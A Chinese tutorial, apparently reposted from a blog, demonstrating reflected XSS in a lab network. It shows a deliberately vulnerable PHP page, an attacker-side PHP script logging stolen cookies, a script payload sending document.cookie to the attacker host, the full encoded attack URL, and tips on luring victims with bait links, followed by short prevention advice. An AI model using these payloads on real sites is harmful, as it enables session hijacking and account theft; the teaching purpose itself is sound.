XSS跨站脚本攻击过程最简单演示

大多数人对于XSS的原理有一个基本认识,这里不再重复,只给出一个能够演示其原理的完整样例。

1 角色分配

  • 有XXS漏洞的网站,IP地址172.16.35.135,PHP为开发语言
  • 受害访问者,IP地址172.16.35.220,浏览器为IE11
  • 黑客的数据接收网站,IP地址172.16.2.192,PHP为开发语言

2 源码实例

2.1 漏洞网站

存在漏洞的URL为:http://172.16.35.135/xss_demo.php

[php] view plain copy

  1. <?php
  2. session_start();
  3. ?>
  4. <!doctype html>
  5. <html>
  6. <head>
  7. <title>XSS demo</title>
  8. </head>
  9. <body>
  10. <form>
  11. <input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" />
  12. <input type="submit" value="Submit" />
  13. </form>
  14. </body>
  15. </html>

该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在。

2.2 黑客接收网站

接收网站的URL为http://172.16.2.192/xss_hacker.php

[php] view plain copy

  1. <?php
  2. $victim = ‘XXS得到的 cookie:‘. $_SERVER[‘REMOTE_ADDR‘]. ‘:‘ .$_GET[‘cookie‘];
  3. file_put_contents(‘xss_victim.txt‘, $victim);

把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用。

2.3 用户正常访问

用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息,网站通过验证cookie来确实是否是合法已登录用户,所以cookie是用户的敏感数据.

3 攻击过程

3.1 黑客准备攻击字符串,构造攻击URL

黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL,然后精心构造攻击字符串。对于本例来说构造出来的字符串为:

[html] view plain copy

  1. "/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--

只要把这个字符串作为漏洞网站文本编辑框的表单值输入提交,就会造成攻击。手工输入这个字符串,并提交,浏览器地址栏自动生成攻击URL。如下图:

此时,用户访问漏洞网站的html代码,被修改成了:

[html] view plain copy

  1. <!doctype html>
  2. <html>
  3. <head>
  4. <title>XSS demo</title>
  5. </head>
  6. <body>
  7. <form>
  8. <input style="width:500px;" type="text" name="address1" value=""/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--" />
  9. <input type="submit" value="Submit" />
  10. </form>
  11. </body>
  12. </html>

明显看出,这个html回去执行一个脚本,这个脚本功能是把用户的cookie发送到黑客的接收网站。

最终生成的攻击URL为:

[html] view plain copy

  1. http://172.16.35.135/xss_demo.php?address1=%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2F172.16.2.192%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21--

接下来要做的就是,寻找受害人,诱惑其点击上述URL。

3.2 用户上当误点击攻击URL

黑客可以采取各种手段,包括发Email,在各种论坛网站发布此攻击URL,如做成如下诱人连接。

屌丝们最喜欢美女了,在好奇心的驱动下,点击了这个美女图片。而点击的后果正是访问前面的攻击URL。

3.3 用户敏感数据被发送到黑客接收网站

受害用户访问攻击URL后,其敏感数据自动发送到黑客的接收网站。接收网站把这些敏感信息保存到文件中,当然现实的情况一定是存入数据库中了。

xss_victim.txt中现在保存了受害者的敏感数据。

[html] view plain copy

  1. XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30

注意,默认IE11开启了XSS筛选器,此时IE会阻止上述简单攻击脚本。为模拟攻击,我们临时把XSS筛选器禁用。

3.4 黑客利用敏感数据做坏事

有了受害用户的敏感数据,就可以利用这些数据做各种坏事了,比如以受害用户身份登录漏洞网站,等等。

4 XSS的预防

XSS的预防可以从多方面着手:

(1)如前面所述,浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;

(2)从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上;

(3)对于普通网民,需要注意尽量抵挡诱惑,别去点击非知名网站的链接。

来源: http://blog.csdn.net/smstong/article/details/43561607

来自为知笔记(Wiz)

时间: 2024-10-11 22:22:27

XSS跨站脚本攻击过程最简单演示的相关文章

XSS跨站脚本攻击

[XSS跨站脚本攻击] 1.在Get请求的值中插入代码. $name = $_GET['name']; echo "Welcome $name<br>"; 2.输入框中输入代码. 参考: 1.http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html

PHP漏洞全解(四)-xss跨站脚本攻击

本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站.攻击者利用跨站请求伪造能够轻松地强迫用户的浏览器发出非故意的HTTP请求,如诈骗性的电汇 请求.修改口令和下载非法的内容等请求. XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS 跨站脚本主要

初窥XSS跨站脚本攻击

XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS

JAVA覆写Request过滤XSS跨站脚本攻击

注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. 尤其是有富文本编辑器的产品.xss可能出现在http的head,不说别的,新浪多次出现. xss可以出现在post数据的正文.图片的url. 于是各种Xss横行,如今Xss跨站脚本漏洞的流行程度甚至超过了当年的sql. 那么对于JAVA语言,如何防御呢. 笔者分享一个思路:所有的web项目,所有的

python全栈系列之---xss跨站脚本攻击和csrf(xsrf)攻击

xss跨站脚本攻击:恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的. 例如:某些论坛允许用户自由发言,而不对用户的输入数据进行检测,直接显示在页面中. 若是用户输入了某些css样式代码,html表格代码,显示在页面后会改变页面的布局. 若是输入某些js代码,用于获取其他用户的文件,或者修改本地文件,也可以发送用户cookie等信息到自己的计算机中模拟用户登录 一般可以通过函数处理htmlspecial

Fortify漏洞之Cross-Site Scripting(XSS 跨站脚本攻击)

书接上文,继续对Fortify漏洞进行总结,本篇主要针对XSS跨站脚步攻击漏洞进行总结如下: 1.Cross-Site Scripting(XSS 跨站脚本攻击) 1.1.产生原因: 1. 数据通过一个不可信赖的数据源进入 Web 应用程序.对于 Reflected XSS(反射型),不可信赖的源通常为 Web 请求,只影响攻击到当前操作用户:而对于 Persisted(也称为 Stored 持久型)XSS,该源通常为数据库或其他后端数据存储,可能影响多操作用户. 2. 未检验包含在动态内容中的

XSS跨站脚本攻击实验

XSS攻击的原理.方法.常用技巧, 相关防范措施 跨站脚本攻击(Cross Site Scripting,XSS) 漏洞在Web应用中很常见.攻击者可以通过XSS注入恶意代码(一般指为js程序)至受害者的浏览器,进而窃取受害者认证信息. XSS注入有很多实现方式,可将XSS攻击大致分为存储型XSS.反射型XSS和DOM型XSS. 1)存储型XSS 存储型XSS攻击流程如下: (1) 黑客在目标服务器(正常服务器)上构造XSS恶意脚本,并将其保存在数据库中: (2) 用户登录目标服务器,查看了存在

避免XSS(跨站脚本攻击)的简单内容转义(测试为知发布到博客)

为避免XSS(跨站脚本攻击),我们可对页面录入的数据,在持久化数据库前,将这些数据转义. import org.apache.commons.lang.StringEscapeUtils; 来自为知笔记(Wiz)

XSS跨站脚本攻击防御和Cookie,及SSO单点登录原理

XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.如,盗取用户Cookie.破坏页面结构.重定向到其它网站等. XSS攻击 XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based X